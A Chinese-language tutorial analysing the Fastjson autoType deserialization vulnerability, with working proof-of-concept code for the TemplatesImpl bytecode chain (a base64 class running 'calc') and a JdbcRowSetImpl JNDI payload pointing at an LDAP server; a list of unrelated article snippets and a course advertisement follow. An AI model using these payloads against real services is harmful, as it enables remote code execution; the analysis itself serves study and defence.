网络安全之反序列化漏洞分析
简介
FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString
和parseObject/parse
来实现序列化和反序列化。
使用
对于序列化的方法toJSONString()
有多个重载形式。
-
SerializeFeature
: 通过设置多个特性到FastjsonConfig
中全局使用, 也可以在使用具体方法中指定特性 -
SerializeFilter
: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化 -
SerializeConfig
: 添加特点类型自定义的序列化配置
对于反序列化的方法parseObject()
也同样有多个重载形式。
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
序列化操作
可以发现这两个的区别,如果使用了 toJSONString()的属性值SerializerFeature.WriteClassName
,就会在序列化的时候多写入一个@type
后面跟着的是反序列化的类名。
反序列化操作
package pers.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class UnSerialTest {
public static void main(String[] args) {
String jsonStringWithType = "{\"@type\":\"pers.fastjson.Student\",\"name\":\"RoboTerh\"}";
String jsonStringWithoutType = "{\"name\":\"RoboTerh\"}";
System.out.println("use JSON.parse with type......");
Object o1 = JSON.parse(jsonStringWithType);
System.out.println(o1);
System.out.println("------------------------------------");
System.out.println("use JSON.parse without type....");
Object o2 = JSON.parse(jsonStringWithoutType);
System.out.println(o2);
System.out.println("-------------------------------------");
System.out.println("use JSON.parseObject with type.......");
JSONObject o3 = JSON.parseObject(jsonStringWithType);
System.out.println(o3);
System.out.println("--------------------------------------");
System.out.println("use JSON.parseObject without type.........");
JSONObject o4 = JSON.parseObject(jsonStringWithoutType);
System.out.println(o4);
System.out.println("----------------------------------------");
System.out.println("use JSON.parseObject without type but hava .Class");
Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);
System.out.println(o5);
}
}
复制代码
可以通过结果发现 1 和 5 成功反序列化,没成功都是因为没有确定需要反序列化的类。
我们可以发现,在引入了@type
之后,JSON.parseObject
调用了getter/setter
方法,JSON.parse
调用了setter
方法。
当然,其他的方式也是可以调用getter
方法的,但是有条件限制:
条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头,且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法(程序会先将目标类中所有的 setter 加入 fieldList 列表,因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter)
因为fastjson
存在autoType
机制, 当用户指定@type
时, 存在调用恶意setter
/getter
的情况, 这就是fastjson
反序列化漏洞。
简单的漏洞
//Evil.java
package pers.fastjson;
import java.io.IOException;
public class Evil {
private String name;
public Evil () {
System.out.println("构造方法");
}
public void setName(String name) throws IOException {
this.name = name;
System.out.println("调用了setName方法");
Runtime.getRuntime().exec("calc");
}
public String getName() {
System.out.println("调用了getName方法");
return name;
}
}
复制代码
//EvilTest.java
package pers.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class EvilTest {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"pers.fastjson.Evil\",\"name\":\"RoboTerh\"}";
JSONObject o = JSON.parseObject(jsonString);
System.out.println(o);
}
}
复制代码
成功弹出了计算器,
我们调式分析分析,
在JSON.parseObject
处下的断点。
首先使用了 parse()方法进行反序列化操作。
在JSON.parse(String text, int features)
创建了DefaultJSONParser
对象。
在成功创建了该对象之后通过判断ch
是{ / [
为 token 赋值,这里是 12。
在DefaultJSONParser#parse
方法中通过判断 token 的值,进入创建了一个JSONObject
对象。
进parseObject
方法, 这里会通过scanSymbol
获取到@type
指定类, 然后通过TypeUtils.loadClass
方法加载Class
.
先是首先在 maping 中寻找 JDK 的内置类,没有找到之后使用 ClassLoader 寻找,得到clazz
的之后进行返回
创建了ObjectDeserializer
并且调用了getDeserializer
方法。
Templateslmpl 利用链
如果一个类中的getter
满足调用条件而且存在可利用点,攻击链就产生了。
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类中就存在一个私有变量_outputProperties
,他的getter
方法就满足在反序列化的时候的调用条件。
分析利用链,
从漏洞触发点开始Templateslmpl#getTransletInstance
方法。
这里通过调用_class[_transletIndex]
的newInstance()
方法进行实例化操作,我们追踪_class[_transletIndex]
的出处,看看是否可以控制,进行恶意操作。
值得注意的是,我们想要达到漏洞点,在getTransletInstance()
方法的两个 if 语句中,我们需要保证他的_name
这个私有属性不为空,否则就直接返回了 null,而不会达到漏洞点。
在第二个语句中就是通过defineTransletClasses()
方法获得了_class
和_transletIndex
的值,进入它。
首先判断_bytecodes
是否为空,这里的_bytecodes
同样是Templateslmpl
类的成员变量,可控
如果这里不为空的话,就会执行。
而且这里如果_tfactory
不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为 null,虽然他也是Templateslmpl
类的成员变量,但是他没有对应的setter
,我们可以通过Feature.SupportNonPublicField
来进行修改。
接着走,在后面有一个 for 循环,
通过loader.defineClass
修饰之后将_bytecodes[i]
赋值给_class[i]
,跟进 defineClass 方法。
他是ClassLoader
的defineClass
的重写,作用是将字节码转化为 Class,
转回defineTransletClasses
,在 if 判断语句中,如果它是 main class 的时候我们就为_transletIndex
赋值。
现在重新回到getTranslateInstance()
方法,现在这里的_class[_translateIndex]
就是我们为_bytecodes
赋值的恶意 class,我们这里将他给实例化了,成功利用恶意类,
现在我们可以知道getTranslateInstance()
是可以执行恶意类的,我们搜索在Templateslmpl
类中什么调用了这个方法的。
可以发现在newTransformer()
方法中使用了 getTransletInstance()方法。
继续搜索在哪里调用了 newTransformer()方法。
在getOutputProperties()
方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。
//利用链
getOutputProperties()
newTransformer()
getTransletInstance()
defineTransletClasses()
_class[_transletIndex].newInstance()
复制代码
POC
package pers.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
public class Fj24POC {
public static class RoboTerh {
}
public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(RoboTerh.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "RoboTerh" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCodes = cc.toBytecode();
return Base64.encodeBase64String(evilCodes);
}
public static String exploitString() throws NotFoundException, CannotCompileException, IOException {
String evilCodeBase64 = makeClasses();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String exploit = "{'RoboTerh':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +
"'_name':'RoboTerh'," +
"'_tfactory':{ }," +
"'_outputProperties':{ }" +
"}}\n";
return exploit;
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
String exploit = exploitString();
System.out.println(exploit);
//JSON.parse(exploit, Feature.SupportNonPublicField);
//JSON.parseObject(exploit, Feature.SupportNonPublicField);
JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);
}
}
复制代码
//payload
{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}
复制代码
条件限制
需要开启Feature.SupportNonPublicField
这个特性。
JdbcRowSetImpl 利用链
分析利用链
JdbcRowSetImpl
类位于com.sun.rowset.JdbcRowSetImpl
中,它本身没有实现Serializeble
接口,但是他是BaseRowSet
类的子类,该类实现了该接口,所以它可以进行序列化。
链子的核心触发点是javax.naming.InitialContext#lookup
的参数可控造成的漏洞。
在JdbcRowSetImpl#setAutoCommit
中如果this.conn
为空的时候,就会调用this.connect
方法。
然后在 connect 方法中就会调用Javax.naming.InitialContext#lookup
方法,参数是dataSourceName
成员变量。
//调用链
JdbcRowSetImpl对象
getDataSource
setAutocommit方法
context.lookup(datasourcename)
复制代码
POC
package pers.fastjson;
import com.alibaba.fastjson.JSON;
public class Fj24_Jdbc_POC {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +
"\"autoCommit\":\"true\"," +
"}";
//JSON.parseObject(payload); 成功
//JSON.parse(payload); 成功
JSON.parseObject(payload, Object.class);
}
}
复制代码
//payload
{"RoboTerh":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8888/evilObject",
"autoCommit":true
}}
复制代码
条件限制,
使用了 JNDI 注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。
相关文章:

网络安全之反序列化漏洞分析
简介 FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。 使用 对于序列化的方法toJSONStrin…...
19 贝叶斯线性回归
文章目录 19 贝叶斯线性回归19.1 频率派线性回归19.2 Bayesian Method19.2.1 Inference问题19.2.2 Prediction问题 19 贝叶斯线性回归 19.1 频率派线性回归 数据与模型: 样本: { ( x i , y i ) } i 1 N , x i ∈ R p , y i ∈ R p {\lbrace (x_i, y_…...

第七十天学习记录:高等数学:微分(宋浩板书)
微分的定义 基本微分公式与法则 复合函数的微分 微分的几何意义 微分在近似计算中应用 sin(xy) sin(x)cos(y) cos(x)sin(y)可以用三角形的几何图形来进行证明。 假设在一个单位圆上,点A(x,y)的坐标为(x,y),点B(x’, y’)的坐标为(x’, y’)。则以两点…...

Jmeter
目录 一、jmeter 安装 二、jmeter 介绍 1、jmeter是什么? 2、jmeter 用来做什么? 3、优点 4、缺点 5、jmeter 目录介绍 ①_bin 目录介绍 ② docs 目录 — — 接口文档目录 ③ extras目录 — — 扩展插件目录 ④ lib 目录 — — 所用到的插件目录 ⑤ lic…...
Flutter 学习 之 时间转换工具类
Flutter 学习之时间转换工具类 在 Flutter 应用程序开发中,处理时间戳是非常常见的需求。我们通常需要将时间戳转换为人类可读的日期时间格式。为了实现这一点,我们可以创建一个时间转换工具类。 实现方法 以下是一个简单的时间转换工具类的示例&…...

docker consul
docker consul的容器服务更新与发现 服务注册与发现是微服务架构中不可或缺的重要组件,起始服务都是单节点的,不保障高可用性,也不考虑服务的承载压力,服务之间调用单纯的通过接口访问的,直到后来出现多个节点的分布式…...

全志V3S嵌入式驱动开发(开发环境再升级)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 前面我们陆陆续续开发了差不多有10个驱动,涉及到网口、串口、音频和视频等几个方面。但是整个开发的效率还是比较低的。每次开发调试的…...
ChatGPT:人工智能助手的新时代
ChatGPT:人工智能助手的新时代 文章目录 ChatGPT:人工智能助手的新时代引言ChatGPT的原理GPT-3.5架构概述预训练和微调过程生成式对话生成技术 ChatGPT的应用场景智能助理客服机器人虚拟角色教育辅助创意生成个性化推荐 ChatGPT的优势ChatGPT的使用技巧与…...
【面试】二、Java补充知识
JVM中的存储 JVM的五块存储区: 方法区(线程共享) 方法区用来存储类的各种信息(类名、方法信息等)、静态变量、常量和编译后的代码也存储在方法区中 方法区中也存在运行时常量池 常量池中会存放程序运行时生成的各种…...
LISTENER、TNSNAMES和SQLNET配置文件
LISTENER、TNSNAMES和SQLNET配置文件 用户连接验证listener.ora文件配置监听日志local_listener参数 tnsnames.ora文件配置 sqlnet.ora文件配置 用户连接验证 Oracle数据库中用户有三种常见的登录验证方式: 通过操作系统用户验证:必须是在数据库服务器…...

【Leetcode -225.用队列实现栈 -232.用栈实现队列】
Leetcode Leetcode -225.用队列实现栈Leetcode -232.用栈实现队列 Leetcode -225.用队列实现栈 题目:仅使用两个队列实现一个后入先出(LIFO)的栈,并支持普通栈的全部四种操作(push、top、pop 和 empty)。 …...

悟道3.0全面开源!LeCun VS Max 智源大会最新演讲
夕小瑶科技说 原创 作者 | 小戏 2023 年智源大会如期召开! 这场汇集了 Geoffery Hinton、Yann LeCun、姚期智、Joseph Sifakis、Sam Altman、Russell 等一众几乎是 AI 领域学界业界“半壁江山”的大佬们的学术盛会,聚焦 AI 领域的前沿问题,…...

2023蓝桥杯大学A组C++决赛游记+个人题解
Day0 发烧了一晚上没睡着,感觉鼻子被打火机烧烤一样难受,心情烦躁 早上6点起来吃了个早饭,思考能力完全丧失了,开始看此花亭奇谭 看了六集,准备复习数据结构考试,然后秒睡 一睁眼就是下午2点了 挂了个…...

wkhtmltopdf踩坑记录
1. 不支持writing-mode。 需求是文字纵向排列,内容从左到右,本来用的是writing-mode: tb-rl;,插件转pdf后发现失效。 解决方法: 让每一列文字单独用一个div容器包裹,对它的宽度进行限制,控制每一行只能出现…...
贪心算法part2 | ● 122.买卖股票的最佳时机II ● 55. 跳跃游戏 ● 45.跳跃游戏II
文章目录 122.买卖股票的最佳时机II思路思路代码官方题解困难 55. 跳跃游戏思路思路代码官方题解代码困难 45.跳跃游戏II思路思路代码困难 今日收获 122.买卖股票的最佳时机II 122.买卖股票的最佳时机II 思路 局部最优:将当天价格和前一天比较,价格涨…...

[C++]异常笔记
我不怕练过一万种腿法的对手,就怕将一种腿法 练一万次的对手。 什么是C的异常 在C中,异常处理通常使用try-catch块来实现。try块用于包含可能会抛出异常的代码,而catch块用于捕获并处理异常。当异常被抛出时,程序会跳过try块中未执行…...

浅谈一级机电管道设计中的压力与介质温度
管道设计是工程设计中的一个非常重要的部分,管道的设计需要考虑到许多因素,其中就包括管道设计压力分类和介质温度分类。这两个因素是在设计管道时必须非常严格考虑的, 首先是管道设计压力分类。在管道设计中,根据工作要求和要传输…...
Docker网络模型(八)使用 macvlan 网络
使用 macvlan 网络 一些应用程序,特别是传统的应用程序或监控网络流量的应用程序,期望直接连接到物理网络。在这种情况下,你可以使用 macvlan 网络驱动为每个容器的虚拟网络接口分配一个MAC地址,使其看起来像一个直接连接到物理网…...

控制视图内容的位置
文本域中的提示内容在默认情况下是垂直居中的,要改变文本在文本域中的位置,可以使用android:gravity来实现。 利用android:gravity可以指定如何在视图中放置视图内容,例如,如何在文本域中放置文本。 如果希望视图文本显示在上方&a…...

【分布式系统与一致性协议】
分布式系统与一致性协议 CAP原理APCPCA总结BASE理论 一致性拜占庭将军问题 分布式系统是一个硬件或软件组件分布在不同的网络计算机上,彼此之间仅仅通过消息传递进行通信和协调的系统。 分布式系统的设计目标一般包含如下: 可用性:可用性是分…...

多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...

YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战
在现代战争中,电磁频谱已成为继陆、海、空、天之后的 “第五维战场”,雷达作为电磁频谱领域的关键装备,其干扰与抗干扰能力的较量,直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器,凭借数字射…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...

JVM虚拟机:内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
【LeetCode】3309. 连接二进制表示可形成的最大数值(递归|回溯|位运算)
LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 题目描述解题思路Java代码 题目描述 题目链接:LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 给你一个长度为 3 的整数数组 nums。 现以某种顺序 连接…...

解析奥地利 XARION激光超声检测系统:无膜光学麦克风 + 无耦合剂的技术协同优势及多元应用
在工业制造领域,无损检测(NDT)的精度与效率直接影响产品质量与生产安全。奥地利 XARION开发的激光超声精密检测系统,以非接触式光学麦克风技术为核心,打破传统检测瓶颈,为半导体、航空航天、汽车制造等行业提供了高灵敏…...